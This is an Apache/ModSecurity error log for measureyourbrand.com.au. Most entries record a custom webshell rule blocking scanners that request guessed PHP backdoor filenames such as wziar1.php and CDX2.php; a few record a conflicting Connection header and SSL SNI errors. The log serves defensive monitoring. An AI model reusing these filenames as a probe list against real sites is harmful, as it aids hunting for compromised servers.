[Wed Apr 01 23:02:24.981480 2026] [:error] [pid 8995:tid 9011] [client 172.213.8.171:58949] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hbvdoz7cy9k6xge9zhuvkvitCdefault.php"] [unique_id "ac0zgOonaBjs3qxcRefsOwAAAA0"]
[Wed Apr 01 23:02:25.598550 2026] [:error] [pid 8909:tid 8955] [client 172.213.8.171:24903] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wziar1.php"] [unique_id "ac0zgTvP_a0662gDl6AHZQAAAM4"]
[Wed Apr 01 23:02:26.195125 2026] [:error] [pid 8908:tid 8917] [client 172.213.8.171:35970] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wziar1.php"] [unique_id "ac0zgvkmxtJXGnLdvgDFFgAAAIQ"]
[Wed Apr 01 23:02:27.677554 2026] [:error] [pid 8909:tid 8950] [client 172.213.8.171:23264] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wziar1.php"] [unique_id "ac0zgzvP_a0662gDl6AHbQAAAMk"]
[Wed Apr 01 23:02:29.452110 2026] [:error] [pid 62559:tid 62567] [client 172.213.8.171:39738] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wziar1.php"] [unique_id "ac0zhS7NKI8IaNKZFIfihQAAAUY"]
[Wed Apr 01 23:02:30.250563 2026] [:error] [pid 8909:tid 8951] [client 172.213.8.171:30246] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fsgdjkl.php"] [unique_id "ac0zhjvP_a0662gDl6AHdQAAAMo"]
[Wed Apr 01 23:02:30.982491 2026] [:error] [pid 17856:tid 17875] [client 172.213.8.171:46348] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fsgdjkl.php"] [unique_id "ac0zhj7Idlm5j9frhqR0owAAAFE"]
[Wed Apr 01 23:02:31.507841 2026] [:error] [pid 8995:tid 9012] [client 172.213.8.171:39140] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fsgdjkl.php"] [unique_id "ac0zh-onaBjs3qxcRefsSQAAAA4"]
[Wed Apr 01 23:02:32.059454 2026] [:error] [pid 8995:tid 9008] [client 172.213.8.171:21199] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fsgdjkl.php"] [unique_id "ac0ziOonaBjs3qxcRefsSwAAAAo"]
[Wed Apr 01 23:02:32.588870 2026] [:error] [pid 8910:tid 8981] [client 172.213.8.171:21191] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "ac0ziKJZINUcF3tYgEx-sgAAAQ0"]
[Wed Apr 01 23:02:33.232146 2026] [:error] [pid 8910:tid 8978] [client 172.213.8.171:22815] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "ac0ziaJZINUcF3tYgEx-swAAAQo"]
[Wed Apr 01 23:02:33.762051 2026] [:error] [pid 17856:tid 17859] [client 172.213.8.171:60817] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "ac0ziT7Idlm5j9frhqR0qwAAAEE"]
[Wed Apr 01 23:02:34.228040 2026] [:error] [pid 8908:tid 8923] [client 172.213.8.171:29307] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "ac0zivkmxtJXGnLdvgDFKwAAAIo"]
[Wed Apr 01 23:02:34.719289 2026] [:error] [pid 8909:tid 8963] [client 172.213.8.171:2464] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX2.php"] [unique_id "ac0zijvP_a0662gDl6AHjQAAANY"]
[Wed Apr 01 23:02:35.198927 2026] [:error] [pid 8908:tid 8928] [client 172.213.8.171:2300] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX2.php"] [unique_id "ac0zi_kmxtJXGnLdvgDFMwAAAI8"]
[Wed Apr 01 23:02:35.790191 2026] [:error] [pid 8908:tid 8930] [client 172.213.8.171:61512] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX2.php"] [unique_id "ac0zi_kmxtJXGnLdvgDFNQAAAJE"]
[Wed Apr 01 23:02:36.345809 2026] [:error] [pid 62559:tid 62585] [client 172.213.8.171:63257] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX2.php"] [unique_id "ac0zjC7NKI8IaNKZFIfiiwAAAVg"]
[Wed Apr 01 23:02:36.867070 2026] [:error] [pid 62559:tid 62568] [client 172.213.8.171:22908] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a8.php"] [unique_id "ac0zjC7NKI8IaNKZFIfikAAAAUc"]
[Wed Apr 01 23:02:37.337850 2026] [:error] [pid 62559:tid 62572] [client 172.213.8.171:52540] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a8.php"] [unique_id "ac0zjS7NKI8IaNKZFIfimAAAAUs"]
[Wed Apr 01 23:02:37.886687 2026] [:error] [pid 62559:tid 62563] [client 172.213.8.171:29077] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a8.php"] [unique_id "ac0zjS7NKI8IaNKZFIfinAAAAUI"]
[Wed Apr 01 23:02:38.353442 2026] [:error] [pid 62559:tid 62572] [client 172.213.8.171:61557] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a8.php"] [unique_id "ac0zji7NKI8IaNKZFIfipgAAAUs"]
[Wed Apr 01 23:02:38.836481 2026] [:error] [pid 62559:tid 62561] [client 172.213.8.171:29075] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac0zji7NKI8IaNKZFIfirAAAAUA"]
[Wed Apr 01 23:02:40.696900 2026] [:error] [pid 62559:tid 62572] [client 172.213.8.171:27457] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac0zkC7NKI8IaNKZFIfiwQAAAUs"]
[Wed Apr 01 23:02:41.215858 2026] [:error] [pid 8909:tid 8958] [client 172.213.8.171:38132] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac0zkTvP_a0662gDl6AHoAAAANE"]
[Wed Apr 01 23:02:41.688513 2026] [:error] [pid 8909:tid 8943] [client 172.213.8.171:25694] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac0zkTvP_a0662gDl6AHoQAAAMI"]
[Wed Apr 01 23:02:42.165341 2026] [:error] [pid 8908:tid 8919] [client 172.213.8.171:29086] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "ac0zkvkmxtJXGnLdvgDFSwAAAIY"]
[Wed Apr 01 23:02:42.654537 2026] [:error] [pid 8908:tid 8929] [client 172.213.8.171:60857] [client 172.213.8.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "ac0zkvkmxtJXGnLdvgDFTgAAAJA"]
[Wed Apr 01 23:04:10.181777 2026] [:error] [pid 62559:tid 62563] [client 43.135.142.37:53070] [client 43.135.142.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ac0z6i7NKI8IaNKZFIfj1wAAAUI"]
[Thu Apr 02 02:09:27.289825 2026] [:error] [pid 16761:tid 16786] [client 49.7.227.204:56718] [client 49.7.227.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ac1fV94bJXDGRqKZnzxGKwAAAFY"]
[Thu Apr 02 05:01:32.759218 2026] [ssl:error] [pid 59194:tid 59216] [client 15.204.183.221:10902] AH02032: Hostname measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: http://measureyourbrand.com/
[Thu Apr 02 05:49:58.082185 2026] [ssl:error] [pid 29467:tid 29492] [client 15.204.183.221:17238] AH02032: Hostname www.measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: http://www.measureyourbrand.com/
[Thu Apr 02 07:26:51.990777 2026] [:error] [pid 23927:tid 23936] [client 20.111.63.125:50132] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/class-bda.php"] [unique_id "ac2pu0sZwqCndhl9uKBo0wAAAYc"]
[Thu Apr 02 07:26:53.346668 2026] [:error] [pid 23927:tid 23953] [client 20.111.63.125:6585] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/class-bda.php"] [unique_id "ac2pvUsZwqCndhl9uKBo1wAAAZg"]
[Thu Apr 02 07:26:56.194887 2026] [:error] [pid 23927:tid 23938] [client 20.111.63.125:61939] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/class-bda.php"] [unique_id "ac2pwEsZwqCndhl9uKBo3gAAAYk"]
[Thu Apr 02 07:26:58.363395 2026] [:error] [pid 37543:tid 37558] [client 20.111.63.125:60924] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/class-bda.php"] [unique_id "ac2pwnhdk2bEYJCvILY-8gAAAU0"]
[Thu Apr 02 07:27:05.662760 2026] [:error] [pid 23927:tid 23949] [client 20.111.63.125:54005] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f2.php"] [unique_id "ac2pyUsZwqCndhl9uKBo5wAAAZQ"]
[Thu Apr 02 07:27:09.866930 2026] [:error] [pid 37543:tid 37568] [client 20.111.63.125:53983] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f2.php"] [unique_id "ac2pzXhdk2bEYJCvILY-_gAAAVc"]
[Thu Apr 02 07:27:10.761746 2026] [:error] [pid 29467:tid 29475] [client 20.111.63.125:53956] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f2.php"] [unique_id "ac2pzr4VUBFCJAq-WOk_0gAAAQU"]
[Thu Apr 02 07:27:11.765293 2026] [:error] [pid 37543:tid 37563] [client 20.111.63.125:51348] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f2.php"] [unique_id "ac2pz3hdk2bEYJCvILY_AQAAAVI"]
[Thu Apr 02 07:27:14.018922 2026] [:error] [pid 29467:tid 29470] [client 20.111.63.125:61892] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classc.php"] [unique_id "ac2p0r4VUBFCJAq-WOk_2QAAAQA"]
[Thu Apr 02 07:27:16.127523 2026] [:error] [pid 37543:tid 37555] [client 20.111.63.125:57569] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classc.php"] [unique_id "ac2p1Hhdk2bEYJCvILY_BgAAAUo"]
[Thu Apr 02 07:27:18.950743 2026] [:error] [pid 59200:tid 59249] [client 20.111.63.125:50147] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-cc.php"] [unique_id "ac2p1rfP26txrdLs3EoItwAAAEk"]
[Thu Apr 02 07:27:20.155671 2026] [:error] [pid 59200:tid 59261] [client 20.111.63.125:61908] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-cc.php"] [unique_id "ac2p2LfP26txrdLs3EoIuQAAAFU"]
[Thu Apr 02 07:27:21.240840 2026] [:error] [pid 23927:tid 23931] [client 20.111.63.125:6540] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "ac2p2UsZwqCndhl9uKBo8gAAAYI"]
[Thu Apr 02 07:27:23.624447 2026] [:error] [pid 59305:tid 59321] [client 20.111.63.125:6532] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/brtnd.php"] [unique_id "ac2p26r2tV4rDwKFxKcjkAAAAMw"]
[Thu Apr 02 07:27:25.899141 2026] [:error] [pid 29467:tid 29476] [client 20.111.63.125:60892] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/brtnd.php"] [unique_id "ac2p3b4VUBFCJAq-WOk_6gAAAQY"]
[Thu Apr 02 07:27:30.843761 2026] [:error] [pid 23927:tid 23941] [client 20.111.63.125:60866] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/brtnd.php"] [unique_id "ac2p4ksZwqCndhl9uKBo_wAAAYw"]
[Thu Apr 02 07:27:32.253136 2026] [:error] [pid 59200:tid 59264] [client 20.111.63.125:50139] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/brtnd.php"] [unique_id "ac2p5LfP26txrdLs3EoIwAAAAFg"]
[Thu Apr 02 07:27:33.704175 2026] [:error] [pid 29467:tid 29486] [client 20.111.63.125:61900] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/azrhw.php"] [unique_id "ac2p5b4VUBFCJAq-WOk_7wAAARA"]
[Thu Apr 02 07:27:35.794325 2026] [:error] [pid 23927:tid 23950] [client 20.111.63.125:53962] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/azrhw.php"] [unique_id "ac2p50sZwqCndhl9uKBpBgAAAZU"]
[Thu Apr 02 07:27:36.966381 2026] [:error] [pid 29467:tid 29492] [client 20.111.63.125:51373] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/azrhw.php"] [unique_id "ac2p6L4VUBFCJAq-WOk_9AAAARY"]
[Thu Apr 02 07:27:37.874469 2026] [:error] [pid 59201:tid 59276] [client 20.111.63.125:53390] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/azrhw.php"] [unique_id "ac2p6cAC0Tw8eL6gzZ6XDgAAAIk"]
[Thu Apr 02 07:27:39.326444 2026] [:error] [pid 23927:tid 23933] [client 20.111.63.125:53991] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cnusw.php"] [unique_id "ac2p60sZwqCndhl9uKBpCAAAAYQ"]
[Thu Apr 02 07:27:41.881633 2026] [:error] [pid 29467:tid 29478] [client 20.111.63.125:61903] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cnusw.php"] [unique_id "ac2p7b4VUBFCJAq-WOlAAQAAAQg"]
[Thu Apr 02 07:27:43.564546 2026] [:error] [pid 37543:tid 37562] [client 20.111.63.125:60870] [client 20.111.63.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cnusw.php"] [unique_id "ac2p73hdk2bEYJCvILY_IwAAAVE"]
